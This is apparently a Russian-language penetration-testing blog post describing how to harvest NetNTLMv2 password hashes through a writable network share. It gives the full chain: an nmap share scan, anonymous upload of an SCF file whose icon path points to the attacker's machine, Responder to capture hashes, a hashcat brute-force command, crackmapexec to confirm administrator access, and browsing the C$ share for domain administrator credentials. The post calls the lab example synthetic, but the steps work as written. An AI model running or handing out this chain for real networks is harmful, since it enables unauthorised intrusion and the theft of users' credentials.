April 25, 2021

Способы получения NetNTLMv2 хешей пользователей через общедоступный сетевой ресурс

Ищем общедоступный каталог

Воспользуемся нашим любимым Nmap-ом.

$ nmap -p445 -sV --script=smb-enum-shares 192.168.0.0/24 

Здесь мы сканируем всю нашу подсеть в поисках открытых 445-ых портов. Для каждого обнаруженного сервиса SMB применим скрипт smb-enum-shares.nse, который перечислит доступные каталоги и права на них.

Например, вот тут ловить нечего:

А вот тут – можно разгуляться:

Чтож. Других общедоступных пользовательских каталогов на запись я всё равно не нашёл. Поработаем с этим.

Заливаем в “шару” SCF-файл

Подключимся по SMB анонимно:

$ smbclient \\\\192.168.0.103\\SHARE 

на предложение ввести пароль – оставляем пустым. Вот наша SMB-консоль клиента.

Зальём туда SCF-файлик с произвольным именем:

Содержимое файла простое – самое главное, что путь к иконке ведёт на наш собственный IP-адрес (путь может не существовать, главное адрес).

[Shell]
Command=2
IconFile=\\192.168.0.105\dir\litladmin.ru.ico
[Taskbar]
Command=ToggleDesktop 

Заливаем файлик командой put:

Теперь запускаем на нашем, 105-ом сетевом узле responder и дожидаемся хешей. Напомню, пользователю достаточно просто открыть каталог с SCF-файликом, чтобы к нам полетели хеши.

Хеш есть! Теперь попытаемся подобрать пароль. Кстати, сложность NetNTLMv2 выше, чем NTLM, поэтому хешрейт на том же железе будет похуже. Ну чтож, понадеемся, что пароль у пользователя не сложный.

Подбираем пароль NetNTLMv2

Первым делом определяем тип хеша. Для этого:

# hashcat --help | grep NTLMv2

Ставим на перебор. Я использую такую команду:

# hashcat -m 5600 -a 3 /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.0.101.txt -w 2 -O -1 ?l?d -i --increment-min=1 --increment-max=6 ?1?1?1?1?1?1 

Здесь:

  • -m 5600 – тип NetNTLMv2
  • -a 3 – атака перебора по маске
  • /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.0.101.txt – имя файла с хешами
  • -w 2 – второй профиль мощности (Workload), от 1 до 4. 4 – самый мощный, больше всего сторость, но и нагрев значительный, даже указатель мыши тормозит
  • -O – оптимизация ядра, если возможно
  • -1 ?l?d – определяем пользовательский словарь из маленьких латинских и цифр
  • -i –increment-min=1 –increment-max=6 – будем последовательно перебирать сперва 1-символьные пароли, затем двухсимвольные и т.д. до 6-ти. Дальше – я просто недождусь на своём процессоре.
  • ?1?1?1?1?1?1 – маска. Одначает, что в каждой из 6-ти позиций будет использоваться первый пользовательский словарь (определён ранее).

Пароль успешно взломан:

Проверяем через crackmapexec:

# crackmapexec smb 192.168.0.101 -u la -p qwert

Заветная строчка (Pwn3d!) означает, что получили привилегии администратора!

Пошаримся по каталогам, залогинившись под пользователем la:

# smbclient -U 'LITLADMIN\la' \\\\192.168.0.101\\C$

Один из способов повышения привилегий – найти какой-нибудь файлик с учётными данными. Такое встречается довольно часто, кстати говоря.

Вот и данные для входа под доменным администратором.

Вот и сказочке конец. Пример хоть и синтетический, но такое имеет место быть сплошь и рядом.